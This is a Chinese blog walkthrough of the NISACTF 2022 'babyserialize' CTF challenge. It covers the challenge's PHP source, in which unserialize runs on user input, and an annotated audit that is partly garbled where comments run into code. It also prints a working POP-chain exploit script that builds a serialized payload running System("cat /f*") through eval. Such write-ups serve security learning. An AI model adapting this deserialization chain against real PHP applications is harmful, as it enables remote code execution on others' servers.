pop链构造 [NISACTF 2022]babyserialize
打开题目
题目源代码如下
<?php
include "waf.php";
class NISA{public $fun="show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER";private $fun='abc';public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}if(isset($_GET['ser'])){@unserialize($_GET['ser']);
}else{highlight_file(__FILE__);
}//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}//function hint(){
// echo ".......";
// die();
//}
?>
代码审计一下
include "waf.php";
class NISA{ //定义了一个名为NISA的类
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){ //检查$this->fun是否等于 "show_me_flag",如果是,则调用hint()函数
hint();
}
}function __call($from,$val){ //当对象的方法不存在时,
__call()方法会被调用,它接受两个参数:$from表示调用的方法名,$val是一个数组,包含调用方法时传递的参数
$this->fun=$val[0]; //将对象的属性$this->fun设置为传递给方法的第一个参数的值,即$val[0]
}public function __toString()
{
echo $this->fun;
return " "; //使用echo语句输出对象的属性$this->fun的值,然后返回一个空格字符串。
}
public function __invoke()
{
checkcheck($this->txw4ever); //调用了一个名为checkcheck()的函数,然后执行了$this->txw4ever的代码
@eval($this->txw4ever);
}
class TianXiWei{定义了一个名为
public $ext;
public $x; //TianXiWei的类,其中包含两个属性$ext和$x这是一个 PHP 魔术方法,当对象被反序列化时会自动调用。
public function __wakeup()//{调用
$this->ext->nisa($this->x); //$ext对象的nisa()方法,并将当前对象的属性$x作为参数传递给nisa()方法。}定义了一个名为
}
class Ilovetxw{
public $huang;
public $su; //Ilovetxw的类,其中包含两个属性$huang和$suPHP 魔术方法,当调用不存在的方法时会自动触发。它接受两个参数:调用的方法名
public function __call($fun1,$arg){ //$fun1和传递给该方法的参数$arg将传递给方法的第一个参数(
$this->huang->fun=$arg[0]; //$arg[0])赋值给$this->huang->funPHP 魔术方法,用于将对象转换为字符串时自动调用
}
public function __toString(){ //$bb = $this->su;将 $this->su 赋值给变量 $bb,它尝试执行 $bb(),即调用 $bb 所指向的函数或方法
return $bb(); //}定义了一个公共属性
}
class four{
public $a="TXW4EVER"; //$a,并赋值为字符串 "TXW4EVER"private $fun='abc'; //定义了一个私有属性$fun,并赋值为字符串 'abc'public function __set($name, $value) //魔术方法,用于在尝试设置不可访问属性时自动调用。{将属性
$this->$name=$value; //$name的值设置为$value,即动态创建了一个属性if ($this->fun = "sixsixsix"){ //这个条件语句中使用了赋值操作=,它会将属性$this->fun的值设置为字符串 "sixsixsix",并且if条件会始终为真,因为赋值操作的结果是被赋的值本身strtolower($this->a); //在条件语句中执行了strtolower($this->a),但没有将结果赋给任何变量或属性}
}
if(isset($_GET['ser'])){ //检查是否存在名为ser的 GET 参数@unserialize($_GET['ser']); //对$_GET['ser']的值进行反序列化操作@unserialize($_GET['ser']),使用了@符号来抑制可能的错误信息输出}else{有一个
highlight_file(__FILE__);
}
//func checkcheck($data){ //checkcheck函数接收一个参数$data
// if(preg_match(......)){ //preg_match函数,但是正则表达式部分被省略了// die(something wrong); //如果preg_match函数匹配成功,即$data符合某个模式,那么会执行die(something wrong);来终止脚本执行,并输出 "something wrong"// }输出了一些占位符信息
//}
//function hint(){ //hint函数这里没有设置参数
// echo "......."; //// die(); //调用了die()终止脚本的执行//}
?>
解题思路
这里我是一点思路都没有,可能也是平时接触到的这类型题很少,全靠大佬的wp
(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,肯定是代码执行,而eval又在__invoke魔术方法中
先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数
反推看哪里用到了类似$a()这种的。
(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
(3)__toString反推到__set
(4)从__set反推到__call
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup
大佬的exp
<?phpclass NISA{public $fun="show_me_flag";public $txw4ever; // 1 shellpublic function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext; //5 Ilovetxwpublic $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang; //4 fourpublic $su; //2 NISApublic function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER"; //3 Ilovetxwprivate $fun='sixsixsix'; //fun = "sixsixsixpublic function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
生成payload

得到flag

知识点:
_wakeup()魔术方法
当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法
_call()魔术方法
当对象的方法不存在时,__call() 方法会被调用
也就是无法访问此方法(未定义),此方法被__call()重载,并显示方法名和参数;
_toString()魔术方法
使用 echo 语句输出一个对象时,会自动检查一个对象有没有定义 _toString() 方法,如果定义了,就会输出 __toString() 方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串
也就是说,如果要将一个对象转换为字符串,必须定义 __toString() 魔术方法
_invoke()魔术方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
具体使用方法见:PHP 魔术方法 - __invoke() - PHP 魔术方法 - 简单教程,简单编程
_set()魔术方法
用于设置私有属性值,有两个参数,第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值
具体使用方法见:php 中__set()和__get()的具体用法_php __set-CSDN博客
strtolower()函数
strtolower函数把字符串全部转换为小写。
isset()函数
确定变量值是否存在
参考文章:
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客
关于[NISACTF 2022]babyserialize详解_web_babyserialize-CSDN博客
相关文章:
pop链构造 [NISACTF 2022]babyserialize
打开题目 题目源代码如下 <?php include "waf.php"; class NISA{public $fun"show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun"show_me_flag"){hint();}}function __call($from,$val){$this->fun$val[0];…...
【VIP专属】Python应用案例——基于Keras, OpenCV和MobileNet口罩佩戴识别
目录 1、导入所需库 2、加载人脸口罩检测数据集 3、对标签进行独热编码...
Doris——荔枝微课统一实时数仓建设实践
目录 一、业务介绍 二、早期架构及痛点 2.1 早期架构 2.2 架构痛点 三、技术选型 四、新的架构及方案 五、搭建经验 5.1 数据建模 5.2 数据开发 5.3 库表设计 5.4 数据管理 5.4.1 监控告警 5.4.2 数据备份与恢复 六、收益总结 七、未来规划 原文大佬这篇Doris腾…...
Stable Diffusion 绘画入门教程(webui)-ControlNet(Inpaint)
上篇文章介绍了语义分割Tile/Blur,这篇文章介绍下Inpaint(重绘) Inpaint类似于图生图的局部重绘,但是Inpain效果要更好一点,和原图融合会更加融洽,下面是案例,可以看下效果(左侧原图…...
LeetCode146: LRU缓存
题目描述 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类: LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓存 int get(int key) 如果关键字 key 存在于缓存中,则返回关键字的值,否则…...
【ArcGIS】基于DEM/LUCC等数据统计得到各集水区流域特征
基于DEM/LUCC等数据统计得到各集水区流域特征 提取不同集水区各类土地利用类型比例步骤1:划分集水区为独立面单元步骤2:批量掩膜提取得到各集水区土地利用类型比例步骤3:导入各集水区LUCC数据并统计得到各类型占比 提取坡度特征流域面坡度河道…...
vue3中安装并使用CSS预处理器Sass的方法介绍
文章目录 Sass是什么?为什么使用Sass?安装sass1、安装sass2、编写全局css变量/全局mixin3、vite引入并使用4、按需引入并使用 sass语法1、变量创建一个变量使用变量变量作用域 2、数学计算两个Sass有关于数学计算的“陷阱” 3、嵌套4、Imports sass中文官网 Sass是…...
过滤器(Filter)
过滤器(Filter) 1. 基本概念 过滤器(Filter)是拦截 Request 请求的对象:在用户的请求访问资源前处理 ServletRequest 和 ServletResponse 。 Filter 相关的接口有:Filter、FilterConfig、FilterChain 。…...
AMRT3D数字孪生引擎详解
AMRT 3D数字孪生引擎介绍 AMRT3D引擎是一款融合了眸瑞科技的AMRT格式与轻量化处理技术为基础,以降本增效为目标,支持多端发布的一站式纯国产自研的CS架构项目开发引擎。 引擎包括场景搭建、UI拼搭、零代码交互事件、光影特效组件、GIS/BIM组件、实时数据…...
Sqlite数据库详解
1.关于Sqlite SQLite 是一个进程内库,它实现了一个独立的、无服务器的、零配置的事务性 SQL 数据库引擎。 SQLite的代码属于公共领域,因此对 用于任何目的,商业或私人目的。 SQLite是世界上部署最广泛的数据库 应用程序比我们能做的要多 计数…...
基于YOLOv8深度学习+Pyqt5的电动车头盔佩戴检测系统
wx供重浩:创享日记 对话框发送:225头盔 获取完整源码源文件已标注的数据集(1463张)源码各文件说明配置跑通说明文档 若需要一对一远程操作在你电脑跑通,有偿59yuan 效果展示 基于YOLOv8深度学习PyQT5的电动车头盔佩戴检…...
【数据结构】B树,B+树,B*树
文章目录 一、B树1.B树的定义2.B树的插入3.B树的中序遍历 二、B树和B*树1.B树的定义2.B树的插入3.B*树的定义4.B树系列总结 三、B树与B树的应用 一、B树 1.B树的定义 1. 在内存中搜索效率高的数据结构有AVL树,红黑树,哈希表等,但这是在内存…...
常用实验室器皿耐硝酸盐酸进口PFA材质容量瓶螺纹盖密封效果好
PFA容量瓶规格参考:10ml、25ml、50ml、100ml、250ml、500ml、1000ml。 别名可溶性聚四氟乙烯容量瓶、特氟龙容量瓶。常用于ICP-MS、ICP-OES等痕量分析以及同位素分析等实验,也可在地质、电子化学品、半导体分析测试、疾控中心、制药厂、环境检测中心等机…...
【kubernetes】二进制部署k8s集群之cni网络插件flannel和calico工作原理
k8s集群的三种接口 k8s集群有三大接口: CRI:容器进行时接口,连接容器引擎--docker、containerd、cri-o、podman CNI:容器网络接口,用于连接网络插件如:flannel、calico、cilium CSI:容器存储…...
Pycharm一直打不开,无任何报错
我windows安装了pycharm一直打不开(无论专业版还是社区版都打不开),无任何弹窗,无任何报错 最后解决问题: 查看环境变量PYCHARM_VM_OPTIONS 发现有一个环境变量PYCHARM_VM_OPTIONS 删除PYCHARM_VM_OPTIONS这个环境变量,pycharm终…...
用html编写的小广告板
用html编写的小广告板 相关代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</tit…...
hive中如何取交集并集和差集
交集 要获取两个表的交集,你可以使用INNER JOIN或者JOIN: SELECT * FROM table1 JOIN table2 ON table1.column_name table2.column_name;也可以使用 INTERSECT 关键字 SELECT * FROM table1 INTERSECT SELECT * FROM table2;并集 要获取两个表的并集…...
2024.2.26
今天又复习了一下熟悉的C语言 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<string.h> #include<windows.h>int main() {//数组初始化int n;scanf("%d", &n);int array[500];int i 0;for (i 0; i < n; i){scanf("%…...
【kubernetes】关于k8s集群的声明式管理资源
目录 一、声明式管理方法 二、资源配置清单管理 1、导出资源配置清单 2、修改资源配置清单并应用 2.1离线修改 2.2在线修改 三、通过资源配置清单创建资源对象 获取K8S资源配置清单文件模板? 关于配置清单常见的字段 方案一:手写yaml配置文件 …...
8.openEuler操作系统网络管理和防火墙(二)
openEuler OECA认证辅导,标红的文字为学习重点和考点。 如果需要做实验,建议安装麒麟信安、银河麒麟、统信等具有图形化的操作系统,其安装与openeuler基本一致。 3.通过IP命令配置网络 配置IP地址: 使用ip命令为接口配置地址,命令格式如下,其中 interface-name 为网卡名…...
Zotero插件商店终极指南:3步构建你的高效学术工具箱
Zotero插件商店终极指南:3步构建你的高效学术工具箱 【免费下载链接】zotero-addons Zotero Add-on Market | Zotero插件市场 | Browsing, installing, and reviewing plugins within Zotero 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-addons 还在…...
3步掌握百度网盘解析工具:告别限速困扰的终极指南
3步掌握百度网盘解析工具:告别限速困扰的终极指南 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 你是否曾因百度网盘的蜗牛下载速度而抓狂?面对宝贵的…...
3分钟掌握百度网盘提取码智能查询:baidupankey终极指南
3分钟掌握百度网盘提取码智能查询:baidupankey终极指南 【免费下载链接】baidupankey 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 还在为百度网盘资源提取码而烦恼吗?每次看到心仪的学习资料、软件工具或影音文件,却因…...
如何通过5种实用方法将数据从华为传输到OnePlus
作为冉冉升起的Android手机品牌,一加如今已成为最具性价比的手机品牌之一,并迅速占据了一定的市场份额。如果您曾经是华为的忠实粉丝,但现在入手了一加 13 或即将推出的一加 15,那么您就需要将数据从华为迁移到一加。这就是您来这…...
BitNet b1.58入门必看:从supervisord进程管理到WebUI调参完整指南
BitNet b1.58入门必看:从supervisord进程管理到WebUI调参完整指南 1. 项目概述 BitNet b1.58-2B-4T-gguf是一款极致高效的开源大模型,采用原生1.58-bit量化技术。这个模型最特别的地方在于它的权重只有-1、0、1三种值,平均每个权重仅占用1.…...
用Matlab FDA插件和Verilog串行实现FIR滤波器:从Blackman窗到汉明窗的实战避坑
从Matlab到FPGA:FIR滤波器设计全流程实战解析 在数字信号处理领域,FIR滤波器因其稳定性、线性相位特性而备受青睐。本文将深入探讨如何从Matlab的滤波器设计工具平滑过渡到FPGA硬件实现,构建一套完整的Blackman窗与汉明窗FIR滤波器开发流程。…...
告别点灯:用STM32CubeIDE和HAL库,给你的SSD1306 OLED做个动态仪表盘
用STM32CubeIDE和HAL库打造SSD1306 OLED动态仪表盘 在嵌入式开发中,OLED屏幕因其高对比度、低功耗和快速响应等特性,成为数据显示的理想选择。本文将带你从零开始,使用STM32CubeIDE和HAL库,为SSD1306 OLED屏幕开发一个功能丰富的动…...
终极塞尔达旷野之息存档修改器:5分钟掌握免费图形化编辑技巧
终极塞尔达旷野之息存档修改器:5分钟掌握免费图形化编辑技巧 【免费下载链接】BOTW-Save-Editor-GUI A Work in Progress Save Editor for BOTW 项目地址: https://gitcode.com/gh_mirrors/bo/BOTW-Save-Editor-GUI 你是否曾经在《塞尔达传说:旷野…...
保姆级教程:在Ubuntu上为AM5728开发板交叉编译GPSD 3.18(附依赖库完整打包)
嵌入式Linux实战:AM5728平台GPSD 3.18交叉编译全流程解析 在工业物联网和自动驾驶领域,GPS模块的精准授时与定位功能已成为核心需求。本文将深入探讨如何在TI AM5728开发板上部署GPSD 3.18服务,重点解决交叉编译过程中的依赖库兼容性问题。不…...
【工业级Docker部署黄金法则】:27个真实产线案例验证的容器化落地避坑指南
第一章:工业级Docker部署黄金法则总览在生产环境中,Docker 不仅是容器化工具,更是基础设施可靠性的基石。工业级部署拒绝“能跑就行”的思维,强调可重复性、可观测性、安全隔离与生命周期可控性。以下核心法则构成高可用 Docker 实…...
